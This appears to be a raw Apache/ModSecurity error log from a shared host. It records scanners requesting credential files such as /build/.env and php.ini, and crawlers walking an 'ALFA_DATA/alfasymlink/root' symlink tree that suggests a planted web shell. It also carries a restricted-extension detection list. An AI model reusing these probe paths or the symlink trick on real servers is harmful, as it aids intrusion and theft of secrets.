[Mon Oct 26 01:10:12.756736 2026] [security2:error] [pid 2966995:tid 2966995] [client 45.148.10.5:62204] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/build/.env"] [unique_id "at7gtFmPATn9-OOzVsuAxQAAAAA"]
[Mon Oct 26 01:10:46.376198 2026] [ssl:error] [pid 2968015:tid 2968015] (70014)End of file found: [client 23.21.204.95:5474] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:11:06.405604 2026] [ssl:error] [pid 2967982:tid 2967982] (70014)End of file found: [client 35.169.119.108:11680] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:11:10.882459 2026] [security2:error] [pid 2967991:tid 2967991] [client 185.191.171.16:50542] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/alsa/cards/ICH4.conf"] [unique_id "at7g7lpI84OmvQOpd2pC1wAAABE"]
[Mon Oct 26 01:11:10.882837 2026] [security2:error] [pid 2967991:tid 2967991] [client 185.191.171.16:50542] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/alsa/cards/ICH4.conf"] [unique_id "at7g7lpI84OmvQOpd2pC1wAAABE"]
[Mon Oct 26 01:11:10.883177 2026] [security2:error] [pid 2967991:tid 2967991] [client 185.191.171.16:50542] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/alsa/cards/ICH4.conf"] [unique_id "at7g7lpI84OmvQOpd2pC1wAAABE"]
[Mon Oct 26 01:11:11.995324 2026] [core:error] [pid 2968024:tid 2968024] (13)Permission denied: [client 85.208.96.193:34864] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/net_namespace/alloc_calls
[Mon Oct 26 01:11:14.482644 2026] [core:error] [pid 2949650:tid 2949650] (13)Permission denied: [client 34.194.14.255:49250] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/input1/subsystem/event1/device/device/firmware_node/subsystem/devices/ACPI0010:00/LNXCPU:00/physical_node/node0/cpu1/driver/cpu0/crash_notes
[Mon Oct 26 01:11:26.395245 2026] [ssl:error] [pid 2968015:tid 2968015] (70014)End of file found: [client 52.2.4.213:61227] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:11:38.477888 2026] [security2:error] [pid 2968024:tid 2968024] [client 52.73.6.26:28484] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory17/node0/memory5/node0/memory6/"] [unique_id "at7hCqQYnjzKpX9iBVDqTwAAACM"]
[Mon Oct 26 01:11:38.477946 2026] [security2:error] [pid 2968024:tid 2968024] [client 52.73.6.26:28484] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory17/node0/memory5/node0/memory6/"] [unique_id "at7hCqQYnjzKpX9iBVDqTwAAACM"]
[Mon Oct 26 01:11:51.119483 2026] [authz_core:error] [pid 2949650:tid 2949650] [client 45.148.10.132:37090] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log, referer: http://sherwinpinturas.com/
[Mon Oct 26 01:11:54.535454 2026] [core:error] [pid 2966995:tid 2966995] (13)Permission denied: [client 52.200.251.20:32213] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/LNXSYBUS:00/PNP0C0F:04/subsystem/devices/LNXCPU:00/physical_node/driver/uevent
[Mon Oct 26 01:12:10.899291 2026] [ssl:error] [pid 2963523:tid 2963523] (70014)End of file found: [client 54.83.23.103:46989] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:12:14.558706 2026] [ssl:error] [pid 2963578:tid 2963578] (70014)End of file found: [client 34.194.14.255:19022] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:12:22.455243 2026] [core:error] [pid 2949650:tid 2949650] (13)Permission denied: [client 3.216.227.216:15207] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/bus/cpu/devices/cpu0/driver/cpu1/crash_notes_size
[Mon Oct 26 01:12:30.556847 2026] [ssl:error] [pid 2963523:tid 2963523] (70014)End of file found: [client 54.91.122.193:62713] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:12:34.448410 2026] [ssl:error] [pid 2967982:tid 2967982] (70014)End of file found: [client 3.221.156.96:25969] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:12:38.621142 2026] [ssl:error] [pid 2966995:tid 2966995] (70014)End of file found: [client 18.205.213.231:30737] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:12:42.546317 2026] [ssl:error] [pid 2967444:tid 2967444] (70014)End of file found: [client 23.21.119.232:51516] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:12:46.472323 2026] [ssl:error] [pid 2963578:tid 2963578] (70014)End of file found: [client 100.29.155.89:29844] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:12:50.465754 2026] [ssl:error] [pid 2967982:tid 2967982] (70014)End of file found: [client 3.225.9.97:23564] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:12:54.614806 2026] [ssl:error] [pid 2963566:tid 2963566] (70014)End of file found: [client 18.214.186.220:39248] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:13:02.950668 2026] [ssl:error] [pid 2963523:tid 2963523] (70014)End of file found: [client 52.71.216.196:7542] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:13:07.051243 2026] [core:error] [pid 2967982:tid 2967982] (13)Permission denied: [client 85.208.96.201:40532] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/0000:00:04.0/resource4_wc
[Mon Oct 26 01:13:07.861798 2026] [ssl:error] [pid 2966995:tid 2966995] (70014)End of file found: [client 34.235.239.240:64442] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:13:10.638074 2026] [ssl:error] [pid 2968015:tid 2968015] (70014)End of file found: [client 34.227.234.246:49838] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:13:10.638307 2026] [security2:error] [pid 2968015:tid 2968015] [client 34.227.234.246:49838] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mice/subsystem/input0/device/subsystem/devices/PNP0A03:00/physical_node/pci_bus/0000:00/device/firmware_node/modalias"] [unique_id "at7hZoxjGi9drRw_gnmvEAAAABc"]
[Mon Oct 26 01:13:10.638340 2026] [security2:error] [pid 2968015:tid 2968015] [client 34.227.234.246:49838] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mice/subsystem/input0/device/subsystem/devices/PNP0A03:00/physical_node/pci_bus/0000:00/device/firmware_node/modalias"] [unique_id "at7hZoxjGi9drRw_gnmvEAAAABc"]
[Mon Oct 26 01:13:14.667773 2026] [ssl:error] [pid 2968421:tid 2968421] (70014)End of file found: [client 54.90.244.132:33879] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:13:20.020676 2026] [ssl:error] [pid 2968024:tid 2968024] (70014)End of file found: [client 85.208.96.207:60844] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:13:22.563047 2026] [ssl:error] [pid 2967982:tid 2967982] (70014)End of file found: [client 3.208.146.193:32360] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:13:26.572742 2026] [ssl:error] [pid 2966995:tid 2966995] (70014)End of file found: [client 3.226.34.98:35059] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:13:39.577681 2026] [ssl:error] [pid 2966995:tid 2966995] (70014)End of file found: [client 3.230.224.6:10343] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:13:46.670630 2026] [ssl:error] [pid 2968015:tid 2968015] (70014)End of file found: [client 18.205.91.101:37173] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:13:49.805507 2026] [core:error] [pid 2968421:tid 2968421] (13)Permission denied: [client 185.191.171.9:41250] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kioctx/objs_per_slab
[Mon Oct 26 01:13:50.590085 2026] [core:error] [pid 2963523:tid 2963523] (13)Permission denied: [client 52.45.92.83:11721] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/device:01/PNP0303:00/physical_node/firmware_node/physical_node1/drvctl
[Mon Oct 26 01:13:54.677151 2026] [core:error] [pid 2968024:tid 2968024] (13)Permission denied: [client 34.193.2.57:63602] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:00.0/subsystem/drivers/vmd/module/uevent
[Mon Oct 26 01:13:58.548034 2026] [ssl:error] [pid 2968015:tid 2968015] (70014)End of file found: [client 52.2.58.41:15896] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:14:02.323065 2026] [authz_core:error] [pid 2968024:tid 2968024] [client 195.178.110.31:34038] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 01:14:03.055735 2026] [ssl:error] [pid 2967984:tid 2967984] (70014)End of file found: [client 100.28.44.58:14521] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:14:04.934125 2026] [authz_core:error] [pid 2968024:tid 2968024] [client 195.178.110.31:34038] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 01:14:06.486704 2026] [authz_core:error] [pid 2967985:tid 2967985] [client 195.178.110.31:21500] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 01:14:06.745638 2026] [ssl:error] [pid 2963540:tid 2963540] (70014)End of file found: [client 44.223.115.10:29814] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:14:08.418030 2026] [authz_core:error] [pid 2967985:tid 2967985] [client 195.178.110.31:21500] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 01:14:14.828429 2026] [ssl:error] [pid 2963588:tid 2963588] (70014)End of file found: [client 52.70.123.241:23844] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:14:14.828682 2026] [security2:error] [pid 2963588:tid 2963588] [client 52.70.123.241:23844] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/physical_node/enable"] [unique_id "at7hpkhKYrNeTnGv3xbJ8wAAAEk"]
[Mon Oct 26 01:14:14.828712 2026] [security2:error] [pid 2963588:tid 2963588] [client 52.70.123.241:23844] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/physical_node/enable"] [unique_id "at7hpkhKYrNeTnGv3xbJ8wAAAEk"]
[Mon Oct 26 01:14:18.680153 2026] [ssl:error] [pid 2967984:tid 2967984] (70014)End of file found: [client 3.90.73.206:12930] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:14:22.767243 2026] [ssl:error] [pid 2963578:tid 2963578] (70014)End of file found: [client 52.70.138.176:39302] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:14:26.798624 2026] [core:error] [pid 2967444:tid 2967444] (13)Permission denied: [client 44.208.193.63:43410] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:08/subsystem/devices/PNP0A06:02/subsystem/devices/LNXCPU:01/physical_node/driver/cpu1/crash_notes_size
[Mon Oct 26 01:14:38.617986 2026] [ssl:error] [pid 2968024:tid 2968024] (70014)End of file found: [client 52.202.52.82:13051] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:14:46.605544 2026] [core:error] [pid 2963588:tid 2963588] (13)Permission denied: [client 98.82.40.168:25304] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/device:01/physical_node/subsystem/drivers/ata_piix/0000:00:01.1/rescan
[Mon Oct 26 01:14:50.689361 2026] [ssl:error] [pid 2967983:tid 2967983] (70014)End of file found: [client 52.0.218.219:39257] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:14:54.792164 2026] [ssl:error] [pid 2963578:tid 2963578] (70014)End of file found: [client 34.197.28.78:63942] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:15:02.650433 2026] [core:error] [pid 2968015:tid 2968015] (13)Permission denied: [client 52.70.123.241:18325] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/device:04/physical_node/driver/0000:00:05.0/subsystem/drivers/virtio-pci/0000:00:04.0/remove
[Mon Oct 26 01:15:14.862297 2026] [core:error] [pid 2967983:tid 2967983] (13)Permission denied: [client 98.82.40.168:64500] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/device:01/PNP0501:01/subsystem/devices/PNP0A03:00/device:04/physical_node/driver/module/uevent
[Mon Oct 26 01:15:20.884222 2026] [core:error] [pid 2968015:tid 2968015] (13)Permission denied: [client 185.191.171.4:51256] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dnotify_struct/objects
[Mon Oct 26 01:15:22.614453 2026] [ssl:error] [pid 2967982:tid 2967982] (70014)End of file found: [client 98.84.70.201:17578] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:15:26.955022 2026] [core:error] [pid 2968024:tid 2968024] (13)Permission denied: [client 85.208.96.210:45012] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_handle/reclaim_account
[Mon Oct 26 01:15:38.674213 2026] [ssl:error] [pid 2963566:tid 2963566] (70014)End of file found: [client 18.209.201.119:51705] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:15:46.636354 2026] [core:error] [pid 2967982:tid 2967982] (13)Permission denied: [client 44.195.50.71:58901] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input1/device/firmware_node/subsystem/devices/device:15/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:0a/eject
[Mon Oct 26 01:15:54.654174 2026] [ssl:error] [pid 2968024:tid 2968024] (70014)End of file found: [client 18.210.58.238:33957] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:15:58.765673 2026] [ssl:error] [pid 2967988:tid 2967988] (70014)End of file found: [client 3.89.176.255:57475] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:16:02.638842 2026] [ssl:error] [pid 2967444:tid 2967444] (70014)End of file found: [client 44.208.223.68:50354] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:16:14.833810 2026] [ssl:error] [pid 2963540:tid 2963540] (70014)End of file found: [client 18.213.27.222:24329] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:16:18.793320 2026] [ssl:error] [pid 2967444:tid 2967444] (70014)End of file found: [client 44.209.187.99:50267] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:16:23.292332 2026] [core:error] [pid 2968016:tid 2968016] (13)Permission denied: [client 100.29.128.75:59698] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/pci_bus/0000:00/device/firmware_node/device:0c/subsystem/devices/device:06/physical_node/driver/0000:00:03.0/rescan
[Mon Oct 26 01:16:39.047677 2026] [ssl:error] [pid 2968015:tid 2968015] (70014)End of file found: [client 52.201.155.215:19901] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:16:42.860327 2026] [ssl:error] [pid 2967985:tid 2967985] (70014)End of file found: [client 107.20.255.194:53986] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:16:46.741649 2026] [ssl:error] [pid 2963547:tid 2963547] (70014)End of file found: [client 3.224.205.25:12613] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:16:54.756810 2026] [ssl:error] [pid 2967444:tid 2967444] (70014)End of file found: [client 23.21.119.232:40034] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:16:58.985900 2026] [ssl:error] [pid 2968015:tid 2968015] (70014)End of file found: [client 100.24.149.244:47313] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:17:06.724061 2026] [core:error] [pid 2963547:tid 2963547] (13)Permission denied: [client 44.195.145.102:9141] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input1/device/firmware_node/subsystem/devices/device:0c/subsystem/devices/PNP0A03:00/device:05/physical_node/driver/0000:00:05.0/resource4
[Mon Oct 26 01:17:10.861232 2026] [ssl:error] [pid 2963588:tid 2963588] (70014)End of file found: [client 23.21.250.48:25966] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:17:14.264789 2026] [core:error] [pid 2968015:tid 2968015] (13)Permission denied: [client 85.208.96.209:61220] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/PINGv6/destroy_by_rcu
[Mon Oct 26 01:17:18.965539 2026] [core:error] [pid 2967984:tid 2967984] (13)Permission denied: [client 34.205.170.13:37505] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input3/subsystem/input0/device/subsystem/devices/device:04/physical_node/resource4_wc
[Mon Oct 26 01:17:23.485160 2026] [ssl:error] [pid 2963547:tid 2963547] (70014)End of file found: [client 18.232.36.1:12071] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:17:27.017683 2026] [ssl:error] [pid 2967444:tid 2967444] (70014)End of file found: [client 44.212.131.50:36043] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:17:30.918839 2026] [ssl:error] [pid 2968015:tid 2968015] (70014)End of file found: [client 34.206.193.60:13667] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:17:35.079065 2026] [ssl:error] [pid 2968421:tid 2968421] (70014)End of file found: [client 34.231.118.144:4452] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:17:38.965848 2026] [ssl:error] [pid 2963574:tid 2963574] (70014)End of file found: [client 54.92.171.106:56554] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:17:42.836866 2026] [ssl:error] [pid 2963547:tid 2963547] (70014)End of file found: [client 54.210.152.179:48907] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:17:46.952843 2026] [ssl:error] [pid 2968015:tid 2968015] (70014)End of file found: [client 52.201.155.215:28426] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:17:54.829416 2026] [ssl:error] [pid 2968421:tid 2968421] (70014)End of file found: [client 44.197.76.210:23745] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:17:58.908472 2026] [ssl:error] [pid 2963574:tid 2963574] (70014)End of file found: [client 184.73.167.217:31508] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:18:02.906877 2026] [ssl:error] [pid 2963547:tid 2963547] (70014)End of file found: [client 3.229.2.217:24339] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:18:11.216324 2026] [ssl:error] [pid 2968421:tid 2968421] (70014)End of file found: [client 52.1.157.90:50148] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:18:12.149121 2026] [authz_core:error] [pid 2963574:tid 2963574] [client 137.184.106.245:37926] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 01:18:15.099427 2026] [ssl:error] [pid 2963547:tid 2963547] (70014)End of file found: [client 3.212.86.97:16969] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:18:22.981337 2026] [ssl:error] [pid 2968421:tid 2968421] (70014)End of file found: [client 54.84.102.81:12972] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:18:35.104894 2026] [ssl:error] [pid 2968016:tid 2968016] (70014)End of file found: [client 44.215.210.112:22217] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:18:59.115334 2026] [ssl:error] [pid 2968016:tid 2968016] (70014)End of file found: [client 52.71.216.196:60474] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:19:11.076391 2026] [ssl:error] [pid 2968421:tid 2968421] (70014)End of file found: [client 3.94.199.128:11332] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:19:27.181487 2026] [ssl:error] [pid 2963542:tid 2963542] (70014)End of file found: [client 52.204.253.129:25964] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:19:27.874738 2026] [security2:error] [pid 2963512:tid 2963512] [client 107.172.76.131:51206] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at7i1A3P_hWp_Ips6H2cowAAAAY"], referer: https://bases1.sherwinpinturas.com/beta.php
[Mon Oct 26 01:19:27.874811 2026] [security2:error] [pid 2963512:tid 2963512] [client 107.172.76.131:51206] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at7i1A3P_hWp_Ips6H2cowAAAAY"], referer: https://bases1.sherwinpinturas.com/beta.php
[Mon Oct 26 01:19:35.466426 2026] [ssl:error] [pid 2963547:tid 2963547] (70014)End of file found: [client 44.223.116.149:58216] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:19:51.342580 2026] [ssl:error] [pid 2968421:tid 2968421] (70014)End of file found: [client 44.212.131.50:64898] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:19:55.174101 2026] [ssl:error] [pid 2968016:tid 2968016] (70014)End of file found: [client 54.159.18.27:50019] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:20:03.159182 2026] [ssl:error] [pid 2968421:tid 2968421] (70014)End of file found: [client 52.204.37.237:7623] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:20:11.265293 2026] [ssl:error] [pid 2968015:tid 2968015] (70014)End of file found: [client 54.156.124.2:43370] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:20:15.389768 2026] [ssl:error] [pid 2963542:tid 2963542] (70014)End of file found: [client 3.230.224.6:12128] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:20:19.291962 2026] [core:error] [pid 2968421:tid 2968421] (13)Permission denied: [client 98.83.94.113:35894] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:02/subsystem/devices/LNXSYBUS:00/ACPI0010:00/LNXCPU:01/physical_node/driver/unbind
[Mon Oct 26 01:20:43.297523 2026] [ssl:error] [pid 2967982:tid 2967982] (70014)End of file found: [client 54.84.93.8:55739] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:20:44.290965 2026] [authz_core:error] [pid 2968024:tid 2968024] [client 45.198.224.125:50856] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 01:20:51.325340 2026] [ssl:error] [pid 2963542:tid 2963542] (70014)End of file found: [client 18.235.81.246:46130] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:20:55.999697 2026] [ssl:error] [pid 2967444:tid 2967444] (70014)End of file found: [client 23.21.227.240:1479] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:21:03.416957 2026] [ssl:error] [pid 2963547:tid 2963547] (70014)End of file found: [client 52.200.93.170:6106] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:21:05.806818 2026] [authz_core:error] [pid 2968016:tid 2968016] [client 72.69.195.112:36755] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/col2/php.ini
[Mon Oct 26 01:21:07.421565 2026] [ssl:error] [pid 2963542:tid 2963542] (70014)End of file found: [client 54.83.240.58:6962] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:21:16.768437 2026] [core:error] [pid 2961914:tid 2961914] (13)Permission denied: [client 85.208.96.208:60392] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/xfrm_dst_cache/align
[Mon Oct 26 01:21:23.360746 2026] [core:error] [pid 2968016:tid 2968016] (13)Permission denied: [client 34.234.197.175:2628] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/subsystem/devices/PNP0A03:00/device:05/wakeup/wakeup5/device/physical_node/driver/unbind
[Mon Oct 26 01:21:27.448794 2026] [ssl:error] [pid 2963542:tid 2963542] (70014)End of file found: [client 34.227.234.246:60967] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:21:28.969057 2026] [security2:error] [pid 2963588:tid 2963588] [client 107.172.76.131:51294] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at7jTUhKYrNeTnGv3xbKBQAAAEk"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Mon Oct 26 01:21:28.969127 2026] [security2:error] [pid 2963588:tid 2963588] [client 107.172.76.131:51294] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at7jTUhKYrNeTnGv3xbKBQAAAEk"], referer: https://hosp1.sherwinpinturas.com/beta.php
